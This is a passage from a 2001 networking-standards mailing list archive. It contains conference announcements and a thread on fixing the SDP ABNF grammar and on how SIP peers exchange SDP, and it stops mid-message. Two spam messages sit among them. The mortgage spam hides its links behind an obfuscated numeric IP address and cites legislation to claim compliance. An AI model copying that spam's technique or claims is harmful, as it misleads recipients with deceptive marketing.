Subject: Call for participation for ICN01 and Call for Papers for
  ECUMN'02
Mime-Version: 1.0
X-MIMETrack: Itemize by SMTP Server on ADMPCSRV1/SRV/COLMAR(Release 5.0.3 (Intl)|21
 March 2000) at 30/03/2001 11:07:41,
	Serialize by Router on ADMPCSRV1/SRV/COLMAR(Release 5.0.3 (Intl)|21 March
 2000) at 30/03/2001 11:19:26,
	Serialize complete at 30/03/2001 11:19:26
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear All,

Please feel free to circulate to interested colleagues:

1. The preliminary program of ICN01 (International Conference on
Networking) (see http://iutsun1.colmar.uha.fr/ICN01.html ) which will be
held at Colmar, France, from Monday July 9, 2001 to Friday July 13, 2001.
If you would like to Chair a session during ICN01, please contact
lorenz@ieee.org

2. The call for papers of ECUMN'02 (see
http://iutsun1.colmar.uha.fr/ECUMN02.html ) scheduled from April 8 to April
10, 2002. The deadline for this CfP is September 1, 2001.

Accept our sincere apologies if you receive multiple copies.



From confctrl-owner  Fri Mar 30 10:59:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA05796
	for confctrl-outgoing; Fri, 30 Mar 2001 10:59:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA05791
	for <confctrl@zephyr.isi.edu>; Fri, 30 Mar 2001 10:59:37 -0800 (PST)
Received: from zcars04e.nortelnetworks.com (zcars04e.nortelnetworks.com [47.129.242.56])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2UIxbq03010
	for <confctrl@ISI.EDU>; Fri, 30 Mar 2001 10:59:37 -0800 (PST)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by zcars04e.nortelnetworks.com; Fri, 30 Mar 2001 13:57:53 -0500
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <H984M7AM>; Fri, 30 Mar 2001 13:57:53 -0500
Message-ID: <28560036253BD41191A10000F8BCBD110250C8EA@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: confctrl <confctrl@ISI.EDU>
Subject: SDP Revision
Date: Fri, 30 Mar 2001 13:57:49 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0B94B.50B8D4B0"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B94B.50B8D4B0
Content-Type: text/plain;
	charset="iso-8859-1"

Has anyone pointed out that "/" is not permitted in the ABNF for the proto
token on the "m=" line?  RFC 2327 restricts proto to alpha-numeric.

Tom Taylor
Multimedia Control and Applications Standards
Ph.  +1 613 736 0961
taylor@nortelnetworks.com 

------_=_NextPart_001_01C0B94B.50B8D4B0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.19">
<TITLE>SDP Revision</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Has anyone pointed out that &quot;/&quot; is not =
permitted in the ABNF for the proto token on the &quot;m=3D&quot; =
line?&nbsp; RFC 2327 restricts proto to alpha-numeric.</FONT></P>

<P><FONT SIZE=3D2>Tom Taylor</FONT>
<BR><FONT SIZE=3D2>Multimedia Control and Applications Standards</FONT>
<BR><FONT SIZE=3D2>Ph.&nbsp; +1 613 736 0961</FONT>
<BR><FONT SIZE=3D2>taylor@nortelnetworks.com </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0B94B.50B8D4B0--

From confctrl-owner  Sat Mar 31 12:42:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA21134
	for confctrl-outgoing; Sat, 31 Mar 2001 12:42:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA21129
	for <confctrl@zephyr.isi.edu>; Sat, 31 Mar 2001 12:42:42 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2VKgdq15288
	for <confctrl@ISI.EDU>; Sat, 31 Mar 2001 12:42:44 -0800 (PST)
Received: from ind.cs.columbia.edu (ind.cs.columbia.edu [128.59.19.27])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA22217;
	Sat, 31 Mar 2001 15:42:38 -0500 (EST)
Received: (from lennox@localhost)
	by ind.cs.columbia.edu (8.9.3+Sun/8.9.3) id PAA27731;
	Sat, 31 Mar 2001 15:42:37 -0500 (EST)
X-Authentication-Warning: ind.cs.columbia.edu: lennox set sender to lennox@ind.cs.columbia.edu using -f
From: Jonathan Lennox <lennox@cs.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15046.16699.984742.487346@ind.cs.columbia.edu>
Date: Sat, 31 Mar 2001 15:42:35 -0500 (EST)
To: "Tom-PT Taylor" <taylor@nortelnetworks.com>
Cc: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP Revision
In-Reply-To: <28560036253BD41191A10000F8BCBD110250C8EA@zcard00g.ca.nortel.com>
References: <28560036253BD41191A10000F8BCBD110250C8EA@zcard00g.ca.nortel.com>
X-Mailer: VM 6.75 under Emacs 20.7.1
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Friday, March 30 2001, "Tom-PT Taylor" wrote to "confctrl" saying:

> Has anyone pointed out that "/" is not permitted in the ABNF for the proto
> token on the "m=" line?  RFC 2327 restricts proto to alpha-numeric.

The SDP ABNF has a lot more problems than just this.  (Notice the
unterminated string constants, for instance, and the fact that
supposedly-extensible parameters aren't.)

I've been playing around with this off and on, and have a re-worked ABNF
largely done. I can send this to the list on Monday (it's on my laptop,
which I can't get on the net from home).

-- 
Jonathan Lennox
lennox@cs.columbia.edu

From confctrl-owner  Sat Mar 31 14:51:21 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA24531
	for confctrl-outgoing; Sat, 31 Mar 2001 14:51:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA24526
	for <confctrl@zephyr.isi.edu>; Sat, 31 Mar 2001 14:51:21 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2VMpLq01973
	for <confctrl@ISI.EDU>; Sat, 31 Mar 2001 14:51:21 -0800 (PST)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f2VMpIs19607;
	Sun, 1 Apr 2001 00:51:19 +0200 (MEST)
Received: from lmf.ericsson.se (racom107013.am.ericsson.se [147.117.107.13])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id AAA04648;
	Sun, 1 Apr 2001 00:51:14 +0200 (MET DST)
Message-ID: <3AC65EBB.34A9D8A8@lmf.ericsson.se>
Date: Sun, 01 Apr 2001 01:48:27 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: shaharp@emblazer.com
CC: confctrl@ISI.EDU, Nitzan Shaked <nitzans@exchange.zapex.co.il>
Subject: Re: Alice and Bob asking questions :-)
References: <70184A02CE5DD411B2E20004AC151EE680EB9B@nt-exchange.zapex.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

Comments inline:

Shahar Pavel wrote:
> 
> Hi
> 
> My name is Shahar and I am a part of a team which develop video conference
> using SIP.
> 
> During implementation of SIP I faced some question I hope this forum would
> help me with.
> 
> Lets say I am a user who would like to initiate AUDIO/VIDEO  session using
> SIP.
> 
> My name is Alice and the target user name is Bob.
> 
> In order to begin the session Alice sends an Invite to Bob with SIP+SDP
> message.
> Lets say Alice can support 5 different Vocoders and Bob only 2.
> 
> 1.      Questions :
> 
> 1.1     What exactly  does the SDP's  media descriptor describes ? Is it what
> Alice capable to receive ( e.g. Vocoders types )?  is it what Alice would
> like to send ? both maybe ?

For sendrecv streams it means the codecs you can both send AND receive.
Note that a m line without any "a" line attribute is considered to be
sendrecv.

> 1.2     Is it possible for Alice to declare that she is going to send MPEG4
> (with out the capability to receive MPEG4 ) and capable to receive MPEG2
> (with out the capability to send MPEG2 )

You cannot do this using plain-SDP. You might have to use the fid
attribute, for instance. The fid draft will be out very soon from now.

> 
> Now Bob receives the message .
> 
> 2.      Questions :
> 
> 2.1      What exactly  does this SDP's  media descriptor describes ?

Since the message that Bob receives is the same as Alice sent, it means
the same :o)

> 2.2     what are the possible conversion Bob can do to the  SDP message ?

Bob does not do any conversion. It prepares its own SDP and sends it in
a 200 OK response.
It it does not want to accept a media stream, it lists the m line with
port number 0. Otherwise, it lists the codecs he can both send AND
receive also.

> 2.3     What does it means when Bob delete a Media Description Line ? Add a
> media description line ? change a Media Description line ?

Bob cannot delete a media description line, since in order to align
media streams SIP clients match the nth m lines in the SDP. It cannot
add an m line either. It will have to re-INVITE in order to do that.


> 2.4     What Bob would do if he can support only part of the Media Description.

Bob lists the codecs he can can send AND receive. If they are a sub set
of Alice's codecs, the response is 200 OK, because establishing the
session is possible. If Bob does not support any codec supported by
Alice, the response is 488 or 606. The session cannot be established.

This method of using SDP in SIP leaves outside some scenarios in which
it would be possible to establish a session, but both SIP entities think
that it is not. However, these are corner cases (Bob can send but not
receive a codec that Alice can receive but not send and the other way
around with another codec...)

> 
> After Bob convert the SDP message he would send it back with the response to
> Alice.
> 

Bob does not convert the SDP. It just provides his own SDP. It has to
follow some rules, like respecting the number of m lines, but it is not
called SDP conversion.


> Alice receive the message with the SDP message.
> 
> 3.      Questions :
> 
> 3.1     What exactly  does this SDP's  media descriptor describes ?

Again, unless somebody is changing the messages on-the-wire, it means
the same as when Bob sent it.

> 3.2     In case Alice "dislike" the SDP message would she Initiate BYE method or
> ACK and then BYE.

ACK it and then BYE.

> 3.3     In case Alice reply with ACK , would she attach a SDP message to the ACK
> message ? What for ?

SDP can be carried either in the INVITE or in the ACK. NOT in both.

You can, for the time being, read appendix B of RFC 2543. When the new
bis draft is released, you will be able to find there this behavior
explained in detail.

Best regards,

Gonzalo

> 3.4     What this SDP message means ?
> 3.5     What would Bob understand from Alice not sending an SDP message with the
> ACK message.
> 
> Thank you very much for your help
> 
> shahar
> 
> Pavel Shahar
> Emblaze Research Ltd.
> shaharp@emblazer.com
> Phone: +972-9-8658570/320  Cell: +972-53-253576

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Sun Apr  1 11:30:42 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA25753
	for confctrl-outgoing; Sun, 1 Apr 2001 11:30:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA25740
	for <confctrl@zephyr.isi.edu>; Sun, 1 Apr 2001 11:30:40 -0700 (PDT)
Received: from neptunium.dowco.com (root@neptunium.dowco.com [209.87.128.98])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f31IUTq26372;
	Sun, 1 Apr 2001 11:30:30 -0700 (PDT)
Received: from dowco.com (tch1c131.bby.dowco.com [209.87.132.131])
	by neptunium.dowco.com (8.9.3/8.x) with SMTP id LAA69469;
	Sun, 1 Apr 2001 11:29:58 -0700 (PDT)
Date: Sun, 1 Apr 2001 11:29:58 -0700 (PDT)
From: edu-dev@inbox.ru
Message-Id: <200104011829.LAA69469@neptunium.dowco.com>
Reply-To: edu-dev@inbox.ru
To: edu-dev@inbox.ru
Subject: Re: Educational Materials Development
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Need educational materials for a class or course you need to teach?

- Computers / IT (any subject)
- Management
- Other

We can help!  We create manuals, guides, tutorials and presentation packages
for any educational needs you may have. If you or your organization is involved
with training then you likely need materials developed. Based in North America,
we serve clients across the WORLD. We have worked with some of the largest firms 
around in prepping and delivering the materials they need. We have great references 
and can act quickly to produce VERY reasonably priced packages for you. We can 
create materials for 1 day courses, multiple day seminars or even full semesters.

Have a question?   Reply to;  seattle-edu3@china.com

To be removed from our mailing list, write to  delete-me586@china.com


From confctrl-owner  Sun Apr  1 17:52:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA06336
	for confctrl-outgoing; Sun, 1 Apr 2001 17:52:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA06331
	for <confctrl@zephyr.isi.edu>; Sun, 1 Apr 2001 17:52:10 -0700 (PDT)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f320qBq24574
	for <confctrl@ISI.EDU>; Sun, 1 Apr 2001 17:52:12 -0700 (PDT)
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19])
	by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id RAA24045;
	Sun, 1 Apr 2001 17:51:26 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f320pLJ13141;
	Sun, 1 Apr 2001 17:51:21 -0700 (PDT)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id RAA01978; Sun, 1 Apr 2001 17:51:20 -0700 (PDT)
Message-ID: <3AC7CDE3.BC9AD692@cisco.com>
Date: Sun, 01 Apr 2001 20:54:59 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Lennox <lennox@cs.columbia.edu>
CC: Tom-PT Taylor <taylor@nortelnetworks.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: SDP Revision
References: <28560036253BD41191A10000F8BCBD110250C8EA@zcard00g.ca.nortel.com> <15046.16699.984742.487346@ind.cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Lennox wrote:

> On Friday, March 30 2001, "Tom-PT Taylor" wrote to "confctrl" saying:
>
> > Has anyone pointed out that "/" is not permitted in the ABNF for the proto
> > token on the "m=" line?  RFC 2327 restricts proto to alpha-numeric.
>
> The SDP ABNF has a lot more problems than just this.  (Notice the
> unterminated string constants, for instance, and the fact that
> supposedly-extensible parameters aren't.)

Yep.

>
>
> I've been playing around with this off and on, and have a re-worked ABNF
> largely done. I can send this to the list on Monday

That would be most welcome.

-- Flemming


> (it's on my laptop,
> which I can't get on the net from home).
>
> --
> Jonathan Lennox
> lennox@cs.columbia.edu

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Mon Apr  2 02:40:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA21304
	for confctrl-outgoing; Mon, 2 Apr 2001 02:40:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA21278
	for <confctrl@zephyr.isi.edu>; Mon, 2 Apr 2001 02:40:07 -0700 (PDT)
Received: from _[148.58.133.239]_by (rsvp-207-173-122-206.ac17.rcrd.eli.net [207.173.122.206])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f329e5q09768;
	Mon, 2 Apr 2001 02:40:05 -0700 (PDT)
Message-Id: <200104020940.f329e5q09768@tnt.isi.edu>
Received: from  [246.193.56.24] by _[148.58.133.239]_by with SMTP id A72C51E5 Mon, 2 Apr 2001 02:22:06 PDT
From: <lowrates101@excite.com>
Subject: Mortgages Rates Are at a Low!              
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Date: Mon, 2 Apr 2001 02:39:23
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





<META HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=iso-8859-1">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Free Rate Quote</TITLE>
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type><XMETA 
content="Mozilla/4.7 [en] (Win98; I) [Netscape]" name="GENERATOR">
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY background=http://3645107812/bg1.jpg bgColor=#ffffff>
<DIV style="FONT: 10pt arial">
<DIV>&nbsp;</DIV></DIV>
<DIV><BR></DIV>
<P align=center><EM><B><FONT color=#ff0000 size=7><FONT color=#ff0000>"Mortgage 
Rates Drop"</FONT></FONT></B></EM></P>
<P align=center><B><FONT size=4>We are a National Network of Mortgage Brokers 
and Lenders</FONT></B></P>
<P align=center><B><FONT size=4>that can provide you with the</FONT></B></P>
<P align=center><EM><B><FONT color=#ff0000 size=5>"BEST RATES AND THE LOWEST 
COSTS, </FONT></B></EM></P>
<P align=center><B><FONT color=#ff0000 size=5><EM>ANYWHERE IN THE 
NATION!"</EM></FONT></B></P>
<P align=center><FONT color=#0000ff size=4><B>We&nbsp;have thousands of loan 
programs through hundreds of lenders!<BR></B></FONT><FONT size=3></FONT></P>
<P align=center><STRONG><FONT size=5>Choose from&nbsp;"Adjustable Rate Mortgages" 
as low as 3.95%,</FONT></STRONG></P>
<P align=center><STRONG><FONT size=5>and&nbsp;"Fixed Rate Mortgages" as low as 
6.50%!</FONT></STRONG><BIG><BIG><FONT color=#ff0000>*</FONT></BIG></BIG><FONT 
size=5><BR></FONT><FONT size=3></FONT></P>
<P align=center><FONT size=+0><FONT color=#0000ff size=2><BIG><BIG><FONT 
color=#ff0000 size=5>*</FONT></BIG><STRONG>All rates are based on 
qualification</STRONG>!</BIG></FONT></FONT></P>
<P align=center><FONT size=+0><FONT size=2><BIG></BIG></FONT><FONT 
color=#0000ff><FONT face=Arial><FONT size=2><A href="http://3645107812" 
target=_blank><FONT size=5><STRONG><FONT face="Times New Roman">Click here for 
your </FONT><FONT size=6><FONT face="Times New Roman"><EM>"FREE RATE 
QUOTE"!</EM></FONT></FONT></STRONG></FONT></A></FONT></FONT></FONT></FONT></P>
<P align=left><FONT size=+0><FONT face=Arial><BR></FONT></FONT><STRONG><FONT 
size=4><FONT size=5><FONT color=#ff0000><EM><A href="http://3645107812" 
target=_blank>Purchase Loans</A> </EM></FONT></FONT>- <EM>Thousands of programs 
for First Mortgages!</EM></FONT><I></STRONG><FONT 
color=#000000><BR><BR></FONT></I><A href="http://3645107812" _blank?><EM><FONT 
color=#0000ff size=5><STRONG>Refinance Loans</STRONG></FONT></EM><I><FONT 
color=#000000 size=2> </FONT></A><FONT color=#000000 size=4>- <B>Reduce your 
monthly payments and</FONT><FONT color=#000000 size=2> </FONT><FONT 
color=#ff0000 size=5>Get Cash Back!</FONT></B><FONT color=#000000 size=4> 
</FONT><FONT color=#000000 size=3><BR><BR></FONT></I><A 
href="http://3645107812" target=_blank><EM><FONT size=5><B>Second 
Mortgages</B></FONT></EM><I><FONT color=#000000 size=3> </A>- </FONT><B><FONT 
color=#000000 size=4>We can help you get from </FONT><FONT color=#ff0000 
size=5>90%</FONT><FONT color=#000000 size=4> up to </FONT><FONT color=#ff0000 
size=5>125%</FONT><FONT color=#000000 size=4> of your homes value! (ratios vary 
by state)</FONT></B><FONT color=#000000 size=3></P>
<P align=left><FONT color=#000000 size=5><A href="http://3645107812" 
target=_blank><B>Debt Consolidation</B></A></FONT> <FONT color=#000000 size=4>- 
<B>Combine </FONT><FONT color=#ff0000 size=5>all</FONT><FONT color=#000000 
size=4> your bills into </FONT><FONT color=#ff0000 size=5>One Low Monthly 
Payment!</FONT></B><BR><BR><B><FONT color=#000000 size=5><A 
href="http://3645107812" target=_blank>First Time Home Buyers</A></FONT> - 
<FONT color=#000000 size=4>We can help you buy with <FONT color=#ff0000 
size=5>Low</FONT></FONT><FONT color=#ff0000 size=5> Money Down</FONT><FONT 
color=#000000 size=4>, and even </FONT><FONT color=#ff0000 size=5>Get Cash 
Back!</FONT></B></P></FONT></I>
<P align=center><BIG><BIG><FONT color=#ff0000>*</FONT></BIG>All rates are based 
on qualification!</BIG></P>
<P align=center><B><I><FONT color=#000000 size=6>We have programs for 
</FONT><FONT color=#ff0000 size=6><U>EVERY</U></FONT><FONT color=#000000 size=6> 
credit situation!</FONT><BR><BR><A href="http://3645107812" target=_blank><FONT 
color=#0000ff size=5>Click here for your FREE RATE QUOTE!</FONT></A></I></B></P>
<P align=left><FONT color=#008000><STRONG> 
If you feel that you have received this message in error, please follow the below 
instructions and you will be removed immediately.  We immediately honor all requests 
to be removed from this list. This message is being sent to you in compliance with 
the Federal legislation for commercial e-mail (H.R.4176 - Section 101,  Paragraph 
(e)(1)(a)) and Bill s.1618 Title III passed by the 105th US Congress., further 
transmissions to you by the sender of this e-mail may be stopped at no cost to you 
by submitting a request to be removed. <a href="mailto: lowrates101@excite.com?subject=PLEASE REMOVE ME">Click Here to Send a Remove Request</a>.
No need to type any message.</STRONG></FONT></P></BODY></HTML>






From confctrl-owner  Tue Apr  3 08:36:26 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA20016
	for confctrl-outgoing; Tue, 3 Apr 2001 08:36:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA20011
	for <confctrl@zephyr.isi.edu>; Tue, 3 Apr 2001 08:36:25 -0700 (PDT)
Received: from ada.cs.ucy.ac.cy (ada.cs.ucy.ac.cy [194.42.7.2])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f33FaQq20869
	for <confctrl@isi.edu>; Tue, 3 Apr 2001 08:36:26 -0700 (PDT)
Received: from cs144 (cs144.cs.ucy.ac.cy [194.42.7.56])
	by ada.cs.ucy.ac.cy (8.8.8/8.8.8) with SMTP id SAA38278
	for <confctrl@isi.edu>; Tue, 3 Apr 2001 18:13:15 +0300
Message-ID: <01b901c0bc50$95af8ed0$38072ac2@cs.ucy.ac.cy>
From: "Andreas Pitsillides" <andreas.pitsillides@ucy.ac.cy>
To: <confctrl@ISI.EDU>
Subject: Call for participation -- Infocom 2001, April 22-26, 2001, Anchorage, Alaska
Date: Tue, 3 Apr 2001 18:13:05 +0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="windows-1253"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

OUR SINCERE APOLOGIES FOR MULTIPLE COPIES


       C A L L   F O R    P A R T I C I P A T I O N
                   I E E E   I N F O C O M    2 0 0 1

                    http://www.ieee-infocom.org/2001

                 April 22-26, 2001 - Anchorage, Alaska



TRAIN CHARTER: This year we are chartering a train for our welcome
reception. This train ride will take you through the Kenai fjords
and will include food and drinks. April 24, 6-11 pm. Seats are limited,
and will be given out on the basis of registration date.

CONFERENCE REGISTRATION: The deadline for advance registration
is April 2, 2001 (5pm Eastern Standard Time).
Please register early to ensure that you have
a seat in the train charter. On-line registration is possible at our
website at http://www.ieee-infocom.org/2001 and then clicking on
"Registration Information". Your dinner code is 530T.
Enter this code while registering and you may be a lucky winner of a
$100 dinner at INFOCOM 2001.

HOTEL REGISTRATION: Please book your hotel room early at the Marriott
Anchorage Downtown. The Hilton is now completely sold out. The conference
rates at both hotels are the same and the two hotels are within a 5 minute
walking distance of each other.

TOURS: Several tours of Alaska's natural treasures are planned. Please visit
our website at http://www.ieee-infocom.org/2001 and look for "On-line
tour registration".

AIRLINE TICKETS: Please book your flights to Anchorage early, so that
you can get reasonably priced tickets.

TECHNICAL SESSIONS:
48 technical sessions featuring the latest research and trends in the
field of computer communications and netwroking.

TUTORIALS:
Wireless Home Networks: Technologies and Applications
Quality of Service (QoS) Support for Broadband Wireless Networks
Traffic Engineering in IP/MPLS Networks
TCP Congestion Controls: Algorithms and Models
Video Over IP
Bluetooth and Pervasive Wireless Networking
Control and Management for Optical Networks: An IP-Centric Approach
Principles of Multicast Protocols and Services

PANELS:
All-Optical Networks: Fact or Fiction
Next Generation Wireless Networks: Radio, Networking and Applications
Modeling of the Shrew: the Quest for a "Model" Network Model












From confctrl-owner  Tue Apr  3 12:31:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA28328
	for confctrl-outgoing; Tue, 3 Apr 2001 12:31:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA28323
	for <confctrl@zephyr.isi.edu>; Tue, 3 Apr 2001 12:31:26 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f33JVSq01227
	for <confctrl@ISI.EDU>; Tue, 3 Apr 2001 12:31:28 -0700 (PDT)
Received: from cisalpino.cs.columbia.edu (cisalpino.cs.columbia.edu [128.59.19.194])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA11141;
	Tue, 3 Apr 2001 15:05:14 -0400 (EDT)
Received: (from lennox@localhost)
	by cisalpino.cs.columbia.edu (8.9.3+Sun/8.9.3) id PAA01345;
	Tue, 3 Apr 2001 15:05:14 -0400 (EDT)
X-Authentication-Warning: cisalpino.cs.columbia.edu: lennox set sender to lennox@cisalpino.cs.columbia.edu using -f
From: Jonathan Lennox <lennox@cs.columbia.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="LwKA5vSD1r"
Content-Transfer-Encoding: 7bit
Message-ID: <15050.7913.116104.617020@cisalpino.cs.columbia.edu>
Date: Tue, 3 Apr 2001 15:05:13 -0400 (EDT)
To: Flemming Andreasen <fandreas@cisco.com>
Cc: Tom-PT Taylor <taylor@nortelnetworks.com>, confctrl <confctrl@ISI.EDU>
Subject: Revised SDP Grammar
In-Reply-To: <3AC7CDE3.BC9AD692@cisco.com>
References: <28560036253BD41191A10000F8BCBD110250C8EA@zcard00g.ca.nortel.com>
	<15046.16699.984742.487346@ind.cs.columbia.edu>
	<3AC7CDE3.BC9AD692@cisco.com>
X-Mailer: VM 6.75 under Emacs 20.7.1
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--LwKA5vSD1r
Content-Type: text/plain; charset=us-ascii
Content-Description: message body text
Content-Transfer-Encoding: 7bit

On Sunday, April 1 2001, "Flemming Andreasen" wrote to "Jonathan Lennox, Tom-PT Taylor, confctrl" saying:

> > I've been playing around with this off and on, and have a re-worked ABNF
> > largely done. I can send this to the list on Monday
> 
> That would be most welcome.

Here it is.

A few notes on it:

* The ABNF syntax used complies with RFC 2234, with two exceptions: 
  "|" rather than "/" is the alternation character, and literal strings are
  case-sensitive.  The RFC 2234 "core" productions (ALPHA, DIGIT, CRLF, SP,
  VCHAR) are used where appropriate.

* Since the group decided that the "media" and "fmt" parameters would be
  MIME types, I've aligned their ABNF definitions to align with those of RFC
  2045.  (Before they were just "alphanum", which was too restrictive.)
  This introduced the "token" production, which I've then also used in other
  places that used to have a too-restrictive alphanum.

* Grammar components that come from external sources (IPv4 and v6 addresses,
  e-mail addresses, and URIs) are included by reference rather than by
  value.

* The "addr-spec" production (e-mail addresses, from the RFC 822bis draft)
  says "modified to remove CFWS".  This is because 822bis allows addresses
  to contain folding whitespace, which obviously can't be allowed in SDP.
  I'm wondering if maybe the syntax should be some core of a mailto: URL
  instead.

* I've added an "addr = extension-addr" production to allow for the PINT and
  ATM extensions to SDP.  I *believe* that this grammar will fully accept
  PINT and ATM SDP messages.

* I've added IPv6.  I think this is the same as the syntax defined by
  draft-olson-sdp-ipv6, but I'm not positive.

* For the specific issue raised by the beginning of this thread -- the fact
  that "RTP/AVP" doesn't match the production for "proto" -- I've redefined
  "proto" as
          proto = token "/" token
                | token

